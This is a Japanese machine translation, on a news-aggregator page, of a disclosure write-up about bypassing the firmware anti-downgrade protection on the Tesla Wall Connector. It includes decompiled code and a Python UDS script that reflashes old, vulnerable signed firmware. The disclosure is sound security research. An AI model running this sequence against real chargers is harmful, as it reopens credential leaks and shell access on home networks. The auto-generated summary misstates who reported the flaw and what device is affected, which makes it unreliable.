テスラ・ウォールコネクタ:ブートローダーによってファームウェアのダウングレードを防ぐ機構を回避する

2026/05/15 5:41

テスラ・ウォールコネクタ:ブートローダーによってファームウェアのダウングレードを防ぐ機構を回避する

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

本ドキュメントは、Tesla 車載システムがファームウェアバージョン 24.44.3 を実行している場合を対象とした重大なセキュリティ脆弱性について詳述しており、攻撃者が現代のセキュリティコントロールを回避し、車両ソフトウェアを脆弱な過去の状態へ復旧させることを可能にする。核心的な問題は、ブートローダーの検証プロセスとオペレーティングシステムのダウングレードに対する保護との間に存在する不整合に起因しており、具体的には

check_image_and_antidowngrade()
を介してセキュリティラatchet(不可逆性)を強制し、ラatchet 検出が失敗した場合にパッシブスロットを消去するルーチン 0x201(
switch_to_new_firmware()
)が関与している。しかしながら、ブートローダー(boot2)はセキュアブートを実装しておらず、セキュリティラatchet のチェックも行っておらず、マジックヘッダー(SBFH)、各セグメントの CRC32、および RSA 署名のみを検証するに留まっている。重大な欠陥がルーチン 0xFF00(
prepare_passive_slot
)に見出されており、このルーチンはセッション中に更新されないブート時のフラグ(
g_boot_flags
)に基づいて物理的なパッシブスロットを消去している。回避手法は、正当な新しいファームウェアを押し込み、パーティションレイアウトをコミットする UDS ルーチン 0x201 を実行し、直ちに同じ物理スロットを消去するためにルーチン 0xFF00 を再実行すること(パーティションテーブルを変更しない)を含む。その後、攻撃者は現在空になっているスロットに古いが署名されつつも脆弱なファームウェアイメージ(例えばバージョン 0.8.58)を書き込む。この後、ルーチン 0x202 を介してリブートを行うと、ラatchet チェックがアクティベーション時に実行されないため、古いファームウェアが有効化される。この脆弱性は、拡張された Pwn2Own 車載シミュレーターを使用して実証され、シングルワイヤー CAN(SWCAN)バスを通じて 2 つの完全なファームウェアイメージを送信し、全体の実行時間はおよそ 30 分であった。有効化された古いファームウェアは、以前の攻撃の再実行を可能にする:Wi-Fi クレデンシャルの UDS ベースによる情報漏洩、デバッグシェルへの Telnet アクセス、および引数パージャーにおけるバッファオーバーフロー。Tesla はこの脆弱性を報告しており、数ヶ月前にファームウェアアップデートで修復された。ウォールコンネクタが自宅またはビジネスネットワーク上の位置づけにより、ネットワーク侵入に対する足場となり得るものの、自動的な OTA 展開により暴露ウィンドウは縮小されている。自動車業界にとって、この事例はブートローダーのロジックとパージスタンストアセキュリティ対策を整合させることの必要性を示しており、これにより攻撃者が車両ソフトウェアの完全性を容易にダウングレードすることを防ぐことが強調される。

本文

アップデート手順の簡易概要

初稿では、シングルワイヤー CAN(Single-Wire CAN)を用いたフルなアップデートフローについて説明しました。要約すると以下の通りです:

  1. UDS セッションをオープンする(タイプ 2)。
  2. セキュリティアクセス認証を行う(レベル 5、XOR-0x35 アルゴリズム使用)。
  3. ルーティン 0xFF00 を実行して、パッシブスロットの準備と消去を行う。
  4. アイデンティフィア 0x102 に値 0x0E を書き込むことにより、「UDS 経由で設定可能(settable)」としてスロットをマークする。
  5. リクエストダウンロード/転送データ/転送終了リクエストを使用してファームウェアを書き込む。
  6. ルーティン 0x201 を実行して、直書き込みしたイメージを検証し、スロットの切り替えを行う。
  7. ルーティン 0x202 を実行して再起動させる。

念のため復習になりますが、AW-CU300 ではファームウェアのスロットが 2 つ用意されており、いずれかのアクティブスロット(現在稼働中のもの)とパッシブスロット(アップデート先の対象)を有しています。アップデートに成功すると、この 2 つのスロットの役割が入れ替わり、次の起動時に新しいファームウェアがアクティブになります。

バージョン 24.44.3 での変更点

旧ファームウェアをバージョン 24.44.3 と差分比較した結果、アップデート処理ルーティン 0x201 を担当する関数

switch_to_new_firmware()
に焦点が当たりました:

int switch_to_new_firmware()
{
    ...
    if ( settable_via_uds != 14 || !passive_firmware )
        return 1;
    if ( passive <= 0
      || passive > passive_firmware->size
      || (v2 = check_signature(passive_firmware->start, passive)) != 0
      || !check_image_and_antidowngrade(nullptr) )
    {
        part_erase(flash_drv, passive_firmware->start, 0x14u);
        v2 = 4;
    }
    else
    {
        part_write_layout(passive_firmware);
    }
    flash_drv_close(flash_drv);
    passive_firmware = nullptr;
    return v2;
}

ここで初めて登場する関数

check_image_and_antidowngrade()
は、ファームウェアの各セグメントを解析し、それぞれの CRC を再計算した後、
verify_firmware_segments_platform()
を呼び出してラチェット(downgrade 防止機構)の比較を行うものです:

int verify_firmware_segments_platform(int flash_drv, u32_t *segments, ...)
{
    ...
    // [0x100000 .. 0x100010] ウィンドウで終了するセグメントから、
    // バージョン記述子を探索しながら各セグメントを走査する。
    ...
    if ( buffer.next != (netif *)'NSRV' /* "VRSN" */ )
        goto next_segment;

    major = LOBYTE(buffer.ip_addr.addr);
    minor = BYTE1(buffer.ip_addr.addr);

    if ( buffer.netmask.addr == '2SRV' /* "VRS2" */
      && LOBYTE(buffer.gw.addr) > 1u )
        firmware_ratchet = BYTE2(buffer.gw.addr);
    else
        firmware_ratchet = 0;
    ...

    sub_1F04866C(&current_ratchet);   // PSM(永続ストレージマネージャ)からラチェットを読み取る

    if ( current_ratchet <= firmware_ratchet
      || !call_psm_wrapper(...) )
    {
        return 0;                     // 承認された場合
    }

    log("Failure: Security ratchet downgrade prevented %d < %d",
        firmware_ratchet, current_ratchet);
    return -1;
}

バージョン情報は、ファームウェアの各セグメント内に埋め込まれています(バージョンは "VRSN" で、ラチェットは "VRS2")。これらは主に 0x100000 付近にロードされるセグメントに含まれており、ブートローダーではなくアップデーターのみがこれを解析します。デバイス側では、ラチェットは PSM(Persistent Storage Manager)内に存在し、より新しいラチェット値を持つイメージがアクティブになるときに増分されます。

したがって、バージョン 24.44.3 のデバイスに対して旧バージョンのファームウェア 0.8.58 を送信し、ルーティン 0x201 を呼び出すと、以下のようなエラーで終了します:

ERROR verify_firmware_segments_platform:145
Failure: Security ratchet downgrade prevented 0 < N

その結果、スロットは即座に消去され、公式なアップデート手順を通じて旧イメージをフラッシュメモリに残すことはできません。

ブートローダーは無視する

ビルドアーティファクト内に含まれる呼び出し名である

boot2
は、固定されたアドレスに配置されており、テスラが提供するファームウェアアップデートの一部ではありません。我々はこれを実装する上で、以前にオリジナルの Pwn2Own exploit によりルート化できた充電器からフラッシュメモリをダンプして分析する必要がありました。

このブートローダーは、アクティブなファームウェアへとジャンプする前にいくつかのチェックを実行します:

  • _MAGIC ヘッダー(SBFH)の確認
  • セグメントごとの CRC32 の検証
  • クイーストアにあるキーに対する RSA 署名の検証

ただし、このブートローダーにはセキュリティラチェットの概念は存在しません。つまり、有効な署名と正しい CRC を有するファームウェアイメージであれば、そのバージョンに関わらず実行されます。

boot2
やブート ROM はセキュアブートを実装しておらず、アンティダウングレードの強制は、1 つのコードである
switch_to_new_firmware()
に一瞬だけ依存しています:それが呼び出されるタイミングです。

つまり、ルーティン 0x201 を全く呼び出さずに旧バージョン且有効な署名付きファームウェアをアクティブスロットに導入できるでしょうか?

スロットがアクティブになる仕組み

ルーティン 0xFF00 は

prepare_passive_slot()
を呼び出し、現在のブートフラグに基づいて物理的などのスロットが「パッシブ」であるかを決定し、その後それを消去します:

int prepare_passive_slot(int a1, int a2, int a3)
{
    partition_entry *f1, *f2;
    int16_t v7 = 0;

    if ( part_read_layout(a1, a2, a3)
      || (f1 = part_get_layout_by_id(1, &v7),
          f2 = part_get_layout_by_id(1, &v7),
          !f1)
      || !f2 )
    {
        passive_firmware = nullptr;
        __und(0xFFu);
    }

    if ( (g_boot_flags & 3) != 0 )    // スロット 1 からブートしたか?
        f2 = f1;                      // その場合、パッシブはスロット 0

    passive_firmware = f2;
    ...
    if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 )
        ...
    return 0;
}

part_get_layout_by_id()
はイテレータベースの機能です。初回呼び出しが ID 1 の最初のパーティションエントリを返し、2 回目呼び出しが次のエントリを返します。
g_boot_flags
に応じて、どちらかがパッシブスロットとして選択されます。

ここで重要なのは、

g_boot_flags
は起動時に設定され、セッション中に更新されないことです。これはパーティションテーブルに現在記述されている内容ではなく、実際にどのスロットからブートしたかを示しています。

スロット切り替えを行う

part_write_layout()
はファームウェアデータには触れず、各スロットのジェネレーションカウンターを増やすことでのみパーティションテーブルを書き換えます:

int part_write_layout(partition_entry *a1)
{
    ...
    if ( /* a1 が f1 と一致 */ )
        v3->gen_level = v4->gen_level + 1;
    else if ( /* a1 が f2 と一致 */ )
        v4->gen_level = v3->gen_level + 1;
    else
        return -23;

    // 4KiB のパーティションテーブル領域を消去して再書き込み
    part_erase(v8, partition_table_addr, 0x1000);
    flash_write(v8, &dword_129B7C, 16);
    flash_write(v8, byte_1299FC, 24 * word_129B82);
    flash_write(v8, &checksum, 4);
    ...
}

起動時にブートローダーは

gen_level
が最も高いスロットを選択します。つまり、次の起動でスロットをアクティブにするには、そのスロットに対して一度だけ
part_write_layout()
が成功すれば十分であり、その後その内容がどうなろうとも問題ありません。

バイパス手法

まとめると:

  • ルーティン 0xFF00 は、セッション中は決して変更されない
    g_boot_flags
    に基づいて物理的なパッシブスロットを消去します。
  • ルーティン 0x201 はスロットの内容を検証し、パーティションレイアウトを書き込みます。
  • ブートローダーはパーティションテーブルを信頼しており、ラチェットをチェックしません。

この理解に基づき以下のような手順が可能です:

  1. パッシブスロットに有効な最新ファームウェアを送信し、ルーティン 0x201 を呼び出します。検証が成功するため、パーティションレイアウトが書き込まれ、このスロットの
    gen_level
    が最高値になります。
  2. リブートせずに再度ルーティン 0xFF00 を呼び出します。
    g_boot_flags
    が変更されていないため、同じ物理スロットがパッシブとして選択され、直前に検証されたファームウェアが消去されます。パーティションテーブルには一切影響がありません。
  3. その間空いたスロットに旧バージョンで署名済みだが脆弱性の残るファームウェアを送信します。
  4. ルーティン 0x201 を全く呼ばない(必要なく、かつそのイメージを拒否するため)。代わりにルーティン 0x202 だけを呼び出して再起動させます。

リブート後、ブートローダーはパーティションテーブルを読み取り、最も高い

gen_level
を有するスロット(我々が直前に書き込みを行ったもの)を選択し、有効な署名を持つファームウェアとして検証した上で起動します。アンティダウングレードチェックは旧イメージに対して実行されません。

エクスプロイトの実装

我々のエクスプロイトは、Pwn2Own カースимуレータの小型な拡張に過ぎません。シングルワイヤー CAN 設定、GPIO シケンス、UDS パイプラインなどは一切変更されていません。唯一の変更点はアップデート手順を 2 回実行することです:

with Client(conn, config=uds_config) as client:
    client.set_config('security_algo', tesla_uds_algo)
    client.change_session(2)
    client.unlock_security_access(5)

    # 1. 有効な最新ファームウェアをプッシュし、ルーティン 0x201 が
    #    パーティションレイアウトの書き込みを担当させる。
    client.routine_control(routine_id=0xFF00, control_type=1)
    client.write_data_by_identifier(0x102, 0x0E)
    data = open("firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin","rb").read()
    send_firmware_data(client, data)
    client.routine_control(routine_id=0x201, control_type=1)  # レイアウトを書き込む
    sleep(1)

    # 2. 同じ物理スロットを再準備。有効なファームウェアが消去されるが、
    #    パーティションテーブルは変更されない。
    client.routine_control(routine_id=0xFF00, control_type=1)
    client.write_data_by_identifier(0x102, 0x0E)
    data = open("firmwares/WC3_PROD_OTA_08.58.bin","rb").read()
    send_firmware_data(client, data)
    sleep(1)

    # 3. リブート。ブートローダーはパーティションテーブルに基づき、
    #    このスロットをアクティブとして選択する(署名は有効)。
    client.routine_control(routine_id=0x202, control_type=1)

全体で 33.3 kbps の SWCAN バス上で約 30 分かかります。元々の Pwn2Own タイミングの 2 倍となり、これは 2 つの完全なファームウェアイメージをケーブル経由で送信する必要があるためです。リブート後にはバージョン 0.8.58 が再び主導権を持ち、元の連鎖(Wi-Fi クレデンシャルの UDS リーク、デバッグシェルへの telnet、引数解析器でのバッファオーバーフロー)も以前と同じ通りに機能します。

結論

アンティダウングレードはアップデーター内にしか実装されておらず、ブートローダーがラチェットをチェックしないため、パーティションレイアウトを書き込みスロットの内容を上書きするあらゆるシーケンスはこの制限を回避できます。ルーティン 0xFF00 は、レイアウトが書き込まれた後にファームウェアを消去し、その後自由に何らかのイメージを書き込むことを可能にします。

このギャップを塞ぐためには、ブートローダー内でラチェットの実行を強制する必要があります。他の選択肢としては:

  • ルーティン 0xFF00 でスロットを消去する際にパーティションテーブルのエントリも無効化し、消去後書き換えされたスロットは起動可能とみなされないようにする。
  • または、成功したアップデート後には必ず再起動を強制する。
  • さらに、ルーティン 0x201 が成功すると以降の新しいアップデートセッションを受け付けなくするのも一案です。

我々はこの脆弱性情報をテスラに報告し、数ヶ月前のファームウェアアップデートで修正されています。第一稿と同様に、ウォールコネクタは通常自宅または企業のネットワーク上に設置されており、充電ケーブルを通じて制御されることでその内部へのフットホールド(初期侵入点)が得られます。一方で、テスラの接続された充電器向けに自動的な OTA デプロイメントを行う仕組みがあるため、修正は多くのデバイスに迅速に届き、実際上の曝露ウィンドウを短縮することになりました。

同じ日のほかのニュース

一覧に戻る →

2026/05/15 2:08

2024年型 RA V4 ハイブリッド車からのモデムおよび GPS の取り外しについて

## Japanese Translation: **改善された概要:** 現代の車両は常時オン状態のコンピューターとして機能し、生体認証データや位置情報履歴、性的活動に至るまでを含む膨大な量の機密ユーザーデータをデフォルトで収集し、LexisNexis や Verisk などの第三者ブローカーに送信しています。過去のセキュリティインシデントはこの接続に伴うリスクを浮き彫りにしており、2015 年のジープチェロキーハッキング事件(機械システムの完全な制御が可能となる)から、最近のテスラカメラへの侵害やマツダ遠隔アクセス脆弱性まで含まれます。プライバシーを取り戻すためには、車両のデータ通信モジュール(DCM)および GPS システムを物理的に無効化することが可能です。この手順は 2024 年式 RAV4 ハイブリッド車での実証がなされています。しかし、この介入により、空気中更新(Over-the-Air アップデート)、自動事故通報アラート、SOS サービス、トヨタクラウドサービスなどの重要な機能が無効化されます。位置情報の漏洩を防止するためには、DCM と GPS の配線を完全に切断することが不可欠です。CarPlay などの接続型インフォテインメントシステムを通じて位置情報が漏洩するのを防ぐためです。さらに、Bluetooth タンデリング(有線接続によるデータ共有)はデータ漏洩のリスクがあるため避け、ローカルアクセスには有線 USB 接続またはアダプターの使用を推奨します。この修復策は、特定のバイパスキットを使用して計測情報の送信を止めるドライバーに権限を与えますが、マグノーソン・モス保証法に基づきクラウド保証の適用除外になる可能性があり、特定の工具和部品を用いた精密な機械作業を必要とします。

2026/05/15 7:44

「Millions」によるポンド節約:難民処理システムにおいてパランティルテクノロジーへの置き換えが実現

## Japanese 翻訳: 内閣府住宅・コミュニティおよび地方政府省(MHCLG)は、元の Palantir Foundry プラットフォームを、内部専門家が構築した自主開発システムに置き換えました。この決定は、Palantir の初期の無料提供が、公正な競争を必要とする公的調達原則に違反するという懸念に基づいており、国民監査局(NAO)の報告書でも強調された点です。また、これは政府全体としての Palantir から距離を置く意欲も反映しています。MHCLG は、新しいソリューションが柔軟性が高く、データとコードを完全に管理でき、より高いセキュリティ基準を満たし、外部サプライヤーへの依存を削減するとともに、年間数百万ポンドの運用コストを節約できることを明言しました。元の Palantir システムは、6 ヶ月の間、英国政府の「ウクライナからの家」計画において無料にて支援し、その間に 15 万 7,000 人以上の難民が再定住されましたが、新しい内部システムに比べれば柔軟性に欠けると判断されました。シニアデジタルリーダーのココ・チャン氏は、外部への依存を減らしながら年間費用を削減するという点で、内部ソリューションへの移行を示しました。元政府技術顧問のターネンス・エデン氏はこの移行を、重要な国策としての「主権テクノロジ」への一歩として捉え、重要インフラであるデジタル基盤に対する国家的コントロールを保証すると述べています。外部の視点では、自主開発には利点があるものの、有経験の専門家によって迅速な展開スキルを提供されることは緊急プログラムにとって不可欠であり(BCS 副会長のエマ・ロガン氏)、大規模テック企業への依存を減らすためには投資スケジュールの検討が必要であると指摘されています(Public Digital コンサルタントのロブ・ミラー氏)。Palantir は、そのシステムが軍事支援、地雷除去、ウクライナにおける戦犯捜査を含むより広範な取り組みの一部であったことを確認し、社名変更は企業が排他的な利用に锁定されるリスクがないことを示していると表明しました。新しいシステムは 2025 年 9 月までに稼働予定で、長期的なプログラムのニーズに応えることを目指しています。この移行は、MHCLG が主権テクノロジを追求する過程での最も重要な一歩となりつつあり、内部統制と展開専門性のバランスを保証しています。

2026/05/15 5:22

ついに Amazonbot も robots.txt の指示を尊重し始めたようです。

## Japanese Translation: このウェブサイトは、Techaro から提供される防ボットサービス Anubis(現在展開されているバージョンは v1.25.0)を活用することで、ユーザーの安全を最優先しています。当サイトは自動化された脅威への対策として機能しており、独自のマスコットキャラクター(CELPHASE によるデザイン)を採用し、誇りを持ってカナダで開発されています。これらの要素は、高度なボット保護とカスタムブランドリングを組み合わせ、カナダ発の開発に根ざした安全な環境を実現しています。

テスラ・ウォールコネクタ:ブートローダーによってファームウェアのダウングレードを防ぐ機構を回避する | そっか~ニュース